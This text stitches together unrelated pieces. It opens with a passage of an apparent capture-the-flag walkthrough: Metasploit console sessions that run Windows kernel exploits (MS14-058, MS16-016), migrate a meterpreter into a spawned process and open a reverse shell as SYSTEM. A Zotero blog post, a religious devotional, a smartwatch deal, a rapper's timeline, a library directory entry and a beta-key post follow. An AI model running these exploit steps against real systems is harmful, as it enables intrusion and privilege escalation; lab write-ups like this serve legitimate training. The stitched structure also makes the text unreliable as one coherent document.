msf5 exploit(windows/local/ms16_016_webdav) > set session 1
session => 1
msf5 exploit(windows/local/ms16_016_webdav) > set LHOST tun0
LHOST => tun0
msf5 exploit(windows/local/ms16_016_webdav) > set LPORT 5555
LPORT => 5555
msf5 exploit(windows/local/ms16_016_webdav) > run
[*] Started reverse TCP handler on <IP_ADDRESS>:5555
[*] Launching notepad to host the exploit...
[+] Process 3764 launched.
[*] Reflectively injecting the exploit DLL into 3764...
[*] Exploit injected ... injecting payload into 3764...
[*] Done. Verify privileges manually or use 'getuid' if using meterpreter to verify exploitation.
[*] Exploit completed, but no session was created.
And it looked like it succeeds but it doesn’t :)))
MS14-058 - Fail
msf5 > search MS14-058
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/windows/local/ms14_058_track_popup_menu 2014-10-14 normal Yes Windows TrackPopupMenu Win32k NULL Pointer Dereference
msf5 > use 0
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf5 exploit(windows/local/ms14_058_track_popup_menu) > show options
Module options (exploit/windows/local/ms14_058_track_popup_menu):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST <IP_ADDRESS> yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Windows x86
msf5 exploit(windows/local/ms14_058_track_popup_menu) > set SESSION 1
SESSION => 1
msf5 exploit(windows/local/ms14_058_track_popup_menu) > set LHOST tun0
LHOST => tun0
msf5 exploit(windows/local/ms14_058_track_popup_menu) > set LPORT 5555
LPORT => 5555
msf5 exploit(windows/local/ms14_058_track_popup_menu) > show options
Module options (exploit/windows/local/ms14_058_track_popup_menu):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION 1 yes The session to run this module on.
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST tun0 yes The listen address (an interface may be specified)
LPORT 5555 yes The listen port
Exploit target:
Id Name
-- ----
0 Windows x86
msf5 exploit(windows/local/ms14_058_track_popup_menu) > run
[*] Started reverse TCP handler on <IP_ADDRESS>:5555
[-] Exploit failed: Rex::Post::Meterpreter::RequestError stdapi_sys_config_getsid: Operation failed: Access is denied.
[*] Exploit completed, but no session was created.
More recon - metasploit’s local exploit suggester
At that point, I decided to cross-reference results with another exploit suggester, the one bundled in metasploit this time:
msf5 > use post/multi/recon/local_exploit_suggester
msf5 post(multi/recon/local_exploit_suggester) > show options
Module options (post/multi/recon/local_exploit_suggester):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on
SHOWDESCRIPTION false yes Displays a detailed description for the available exploits
msf5 post(multi/recon/local_exploit_suggester) > set SESSION 1
SESSION => 1
msf5 post(multi/recon/local_exploit_suggester) > run
[*] <IP_ADDRESS> - Collecting local exploits for x86/windows...
[*] <IP_ADDRESS> - 34 exploit checks are being tried...
nil versions are discouraged and will be deprecated in Rubygems 4
[+] <IP_ADDRESS> - exploit/windows/local/ms10_015_kitrap0d: The service is running, but could not be validated.
[+] <IP_ADDRESS> - exploit/windows/local/ms14_058_track_popup_menu: The target appears to be vulnerable.
[+] <IP_ADDRESS> - exploit/windows/local/ms14_070_tcpip_ioctl: The target appears to be vulnerable.
[+] <IP_ADDRESS> - exploit/windows/local/ms15_051_client_copy_image: The target appears to be vulnerable.
[+] <IP_ADDRESS> - exploit/windows/local/ms16_016_webdav: The service is running, but could not be validated.
[+] <IP_ADDRESS> - exploit/windows/local/ppr_flatten_rec: The target appears to be vulnerable.
[*] Post module execution completed
It also lists MS14-058 and I’m pretty sure it should have worked. But 2 out of 3 exploits throwed an error:
[-] Exploit failed: Rex::Post::Meterpreter::RequestError stdapi_sys_config_getsid: Operation failed: Access is denied.
Maybe my meterpreter is not in a very stable process then? What if we migrate to a clean process and try again?
First, I listed my sessions and re-enabled session 1 to bring back my meterpreter:
msf5 > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x86/windows <IP_ADDRESS>:4444 -> <IP_ADDRESS>:1032 (<IP_ADDRESS>)
msf5 > sessions -i 1
[*] Starting interaction with 1...
meterpreter > ps
Process List
============
PID PPID Name Arch Session User Path
--- ---- ---- ---- ------- ---- ----
0 0 [System Process]
4 0 System
272 4 smss.exe
324 272 csrss.exe
348 272 winlogon.exe
396 348 services.exe
408 348 lsass.exe
604 396 svchost.exe
676 396 svchost.exe
732 396 svchost.exe
768 396 svchost.exe
796 396 svchost.exe
932 396 spoolsv.exe
960 396 msdtc.exe
1072 396 cisvc.exe
1120 396 svchost.exe
1176 396 inetinfo.exe
1212 396 svchost.exe
1328 396 VGAuthService.exe
1408 396 vmtoolsd.exe
1460 396 svchost.exe
1600 396 svchost.exe
1700 396 alg.exe
1836 604 wmiprvse.exe x86 0 NT AUTHORITY\NETWORK SERVICE C:\WINDOWS\system32\wbem\wmiprvse.exe
1856 2300 cmd.exe x86 0 NT AUTHORITY\NETWORK SERVICE C:\WINDOWS\system32\cmd.exe
1912 396 dllhost.exe
2244 348 logon.scr
2300 3804 svchost.exe x86 0 C:\WINDOWS\Temp\radE959E.tmp\svchost.exe
2304 604 wmiprvse.exe
4004 1072 cidaemon.exe
4048 1072 cidaemon.exe
4072 1072 cidaemon.exe
I then ran post/windows/manage/migrate
which will spawn a new notepad.exe
and migrate to it:
meterpreter > run post/windows/manage/migrate
[*] Running module against GRANNY
[*] Current server process: svchost.exe (2300)
[*] Spawning notepad.exe process to migrate into
[*] Spoofing PPID 0
[*] Migrating into 748
[+] Successfully migrated into process 748
MS14-058 - Take 2
Now that we are in a clean state, let’s try MS14-058 again ~~
msf5 exploit(windows/local/ms14_058_track_popup_menu) > run
[*] Started reverse TCP handler on <IP_ADDRESS>:5555
[*] Launching notepad to host the exploit...
[+] Process 2224 launched.
[*] Reflectively injecting the exploit DLL into 2224...
[*] Injecting exploit into 2224...
[*] Exploit injected. Injecting payload into 2224...
[*] Payload injected. Executing exploit...
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Sending stage (176195 bytes) to <IP_ADDRESS>
[*] Meterpreter session 2 opened (<IP_ADDRESS>:5555 -> <IP_ADDRESS>:1035) at 2020-11-06 19:41:05 +0100
Well. It worked immediately this time ~~
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
Here’s our shell as NT AUTHORITY\SYSTEM
, from there, we can grab both flags:
- root.txt
C:\Documents and Settings\Administrator\Desktop>dir
dir
Volume in drive C has no label.
Volume Serial Number is 246C-D7FE
Directory of C:\Documents and Settings\Administrator\Desktop
04/12/2017 04:28 PM <DIR> .
04/12/2017 04:28 PM <DIR> ..
04/12/2017 09:17 PM 32 root.txt
1 File(s) 32 bytes
2 Dir(s) 18,122,559,488 bytes free
- user.txt
C:\Documents and Settings\Lakis\Desktop>dir
dir
Volume in drive C has no label.
Volume Serial Number is 246C-D7FE
Directory of C:\Documents and Settings\Lakis\Desktop
04/12/2017 09:19 PM <DIR> .
04/12/2017 09:19 PM <DIR> ..
04/12/2017 09:20 PM 32 user.txt
1 File(s) 32 bytes
2 Dir(s) 18,122,551,296 bytes free
Takeaway
- I discovered a new tool for testing WebDAV: davtest
- We used the permissive methods allowed by the WebDAV to get a shell as a network service
- Kernel exploit was an easy way to escalate our privileges to system since the box is an old unpatched Windows Server 2003


While Obsidian can be a useful tool for managing your personal, day-to-day notes, the bulk of knowledge in a science PhD comes from papers. A reference management system is crucial for saving papers you read or plan to read, and organizing and exporting citations.
Other than a personal file management system (e.g. saving papers in folders of your choosing), there are two main software options: Mendeley and Zotero. Mendeley is owned by Elsevier, one of the largest scientific publishing companies in the world. Zotero is open source. In general, I try to use open source products where I can, because #powertothepeople, and open source developers tend to be more responsive to user needs.
So, Zotero is an open-source resource manager - a place for you to store, organize, sort and cite documents like journal articles, book chapters, software, etc. For ease, I will just refer to any and all reference material as “papers”.
Zotero is organized into Libraries, which can be further subdivided into groups, sub-groups, etc. Personally, I think it is helpful to have two sets of folders in your library:
Another useful folder for organization is the inbox / to-read (just make sure to refile papers you read!).
I also have folders for papers I used to prep for my qualifying exam, paper collections from various seminars & classes, etc.
For each indexed item, you can add your own notes (e.g. from reading the paper), tags, etc. I personally don’t use tags. The search function, combined with filing away in the correct folder, is good enough for me. I do use notes – generally highlights and comments from reading the paper. I have started to translate these notes into Obsidian when there’s a paper I really need to know well. The ability to extract annotations is expanded on below in plug-ins.
While you can add files to, export citations from, etc manually Zotero, a few plug-ins increase it’s usefulness significantly:
The browser plug-in connects your desktop library to the internet. When you access a resource you want to save online – a paper, an article, a piece of software – you click the Zotero button, choose the folder you’re going to save it in, and voila, the PDF is downloaded and the metadata has been extracted, and it’s all indexed in your library. Absolutely crucial to my workflow.
The Firefox extension can be downloaded directly from the Zotero website.
I have written both of my journal papers, and my exam papers, in World. Yeah, I know, maybe I should use latex, finally commit to Overleaf, etc. Perhaps I will get there eventually. But for now, I do my writing in Word.
With Zotero, you can insert citations in situ, e.g. as you’re typing away. They also have extensions for LibreOffice and Google docs. Here’s a link to the plug-ins.
Zotfile is the newest addition to my workflow, and it is a homerun. When reading a paper, I usually
The last thing I want to do after all those steps is then spend time copying and pasting those notes and highlights into the Notes section of Zotero or into a file in Obsidian. Now I don’t have to – Zotfile will automatically extract highliights and notes by color into Zotero. These can then be copied into Obsidian, or left for your future self in Zotero.
Zotfile’s documentation is pretty thorough, but to install, right click download --> save link as
. Then open up Zotero. Choose Tools --> Add Ons
from the top menu. Click on the little gear button in the upper right hand corner, then click install add-on from file
and choose the Zotfile xpi file you just downloaded. There’s lots of ways to customize your Zotfile experience; I’ve found it most reliable to just leave things in their default settings.
You can also use Zotfile for tablet <–> computer PDF syncing.


April 6
Sorrow Not!
The redeemed of the Lord shall return, and come with singing unto Zion; and everlasting joy shall be upon their head: they shall obtain gladness and joy; and sorrow and [grief] shall flee away.
Isaiah 51:11
Did you know that as a believer you've been redeemed from the curse of grief and sorrow by the blood of Jesus Christ? You don't have to put up with them any more than you have to put up with sin or sickness or disease. God started teaching me about this personally several months before my mother went home to be with Him in August 1988. Every time He'd show me something about it, I'd put it into practice. (You ought to do that with anything God is teaching you. Start practicing it now, and you can walk in it when the time comes!)
So, eight and a half months before my mother left, I began standing against grief and sorrow. I made a decision to "sorrow not."  But I'd say, "No. I won't receive that. I take authority over these feelings in Jesus' Name. I've given my body as a sacrifice well-pleasing unto the Lord, and I won't partake of anything but His joy." Then I'd start speaking the Word and praising out loud. I went through three rugged days of resisting until those sorry spirits were gone.
What I'm telling you is this: You're going to have to stand against grief and sorrow. It doesn't belong to you. It's not from your heavenly Father. You may have to walk the floor all night long. But instead of worrying and crying, walk the floor and quote the Word until that heavy spirit leaves and the joy of the Lord comes. Remember who you are. You're the one who shall obtain gladness and joy. You're the one sorrow and grief shall flee away from. You are the redeemed!
Scripture Reading: Psalm 97


Grab Fitbit Versa 2 smartwatch for just $149 on Amazon (save $50)
The Fitbit Versa 2 is one of the better wearable experiences of 2019, coming in at a reasonable $200 price tag. Still a little too dear for you? Then this deal is definitely up your alley.
Amazon has slashed the price of the smartwatch from $199.95 to $149, saving you $50.95 in the process. That equates to a 25% discount, and it applies to all variants bar the Special Edition (which has seen a price drop from $229 to $179 anyway).

Fitbit’s smartwatch also has quite a few fitness-related features (as you’d expect), including step tracking, heart-rate monitoring, goal-based exercises, and support for generic exercises. The one downside is that the Versa 2 uses connected GPS rather than built-in GPS, so you’ll need to take your phone along if you want more accurate metrics.
“It’s safe to say the Fitbit Versa 2 is one of the best smartwatches available for $200, especially for Android users,” our own Jimmy Westenberg noted in his Fitbit Versa 2 review. Jimmy also said similarly priced Wear OS watches are “a little clunky” and noted that the $200 Galaxy Watch Active has issues with fitness tracking accuracy.
In other words, the Fitbit smartwatch is a good deal at $200 and it’s even better at $149. Want to take advantage of this promotion? Then you can check out the Fitbit Versa 2 deal on Amazon via the button below.


| 6 Jul 1976 |
Curtis Jackson born, Queens, NY. |
| 1983 |
Jackson's hooker/drug-addict mother dies, leaving him to be raised by his grandparents. |
| 23 Aug 1994 |
Arrested for dealing crack. |
| 1999 |
Records an album, Power of a Dollar, for Columbia Records, which is never released. |
| 2000 |
Shot nine times in front of his grandmother's house, voiding his contract with Columbia. |
| 2003 |
Get Rich or Die Tryin'. |
| Sep 2003 |
Someone tries to shoot 50 Cent again, but misses. |


|
|
National Archives of Australia
|
|
|
National Archives Library
|
| NUC symbol/s: AAAR
|
NOTE*
All services
suspended from 20 July 2016
until 1 July 2017
National Archives of Australia
Main address:
Ground Floor National Archives Building / Queen Victoria Terrace
PARKES
ACT 2600
AUSTRALIA
Postal address:
PO Box 7425 CANBERRA MAIL CENTRE
ACT 2610
AUSTRALIA
Billing address:
ATTN: Librarian
Same as Postal address
NB* Please use the postal address for delivery purposes.
ILL email<EMAIL_ADDRESS>ILL phone: 02 6212 3683
ILL fax: 02 6212 3699
NB* International callers,
add the +61 prefix for Australia
and drop the 0 from the area code from phone and fax numbers. For example,
01 2345 6789 becomes +61 1 2345 6789.
Locations added to the
National Bibliographic Database (NBD)
(access via Libraries Australia)
Supply policy: Willing to supply material from collection
Australian Interlibrary Resource Sharing Code
(ILRS Code) is supported.
Requests accepted via:
Fax
;
Free-form email
;
Post
;
ILANET
;
LA Doc Del
;
Phone
;
Printed form
Delivery methods supported:
Fax - local
;
Post
;
Patron pickup
;
Other (IDES (Canberra only))
International symbol/s:
OCLC:ATAAA
Former names: Australian Archives Library
See also this library's entry in the
Australian
Libraries Gateway (ALG).
Organisation type: Library
Library type/s: Government
; Special
; Trove Contributor
Australian Business Number: 36 889 228 992
Hours of service: 9:00 - 17:00 Monday - Friday Memberships:
AGLIN
;
ALIA
Types of material held -
For loan:
Films and videos
;
Monographs
;
Sound Recordings
;
Other (Videos)
Not for loan:
Serials (bound)
;
Serials (unbound)
;
Material in state, special and reference collections, with R or C preceeding call number, cannot be borrowed. Items in special and state collections cannot be copied..
Standard conditions of supply: Faxes should be marked - "Attention Librarian"
Loans are for 4 weeks and are renewable. Renewal conditions: if not reserved
For copy:
Monographs
;
Serials (bound)
;
Serials (unbound)
Not for copy:
Films and videos
;
Sound Recordings
;
Other (Videos)
Will supply under these copyright conditions:
Australian copyright cleared
;
Fair dealing
;
Services to the Crown
Will supply to: Libraries only
Charges
(including
Australian GST where applicable):
To Libraries:
|
Base interlending charge
$16.50
per item.
Base copying charge
$16.50 per item
for up to
50 pages; $4.00
for every additional
50 page/s.
|
|
Service levies:
|
$16.50
for
Rush
(conditions: Please phone or fax to alert us to Libraries Australia requests)
$33.00
for
Express
(conditions: Please phone or fax to alert us to Libraries Australia requests)
|
|
Exemptions:
|
No charge: Australian Public Service libraries on a reciprocal basis for normal ILL service
|
Replacement of lost or damaged items: $50 for Australian publications, $100 for items published overseas or no longer in print
Billing options:
Libraries Australia payments scheme
Requesters may pay by:
Libraries Australia payments scheme
|


If someone don't have beta keys yet (second beta starts today!):
http://www.nvidia.es/object/the-crew-beta-key-give-away-es.html
http://www.jeuxvideopc.com/jeux/the-crew/crew-1500-cles-gagner-participer-phase-test-actu-722633.html
https://www.wf-iframe.com/fb/38247/pages/376b4dcf94b6e8713f0d1d7c557c18c7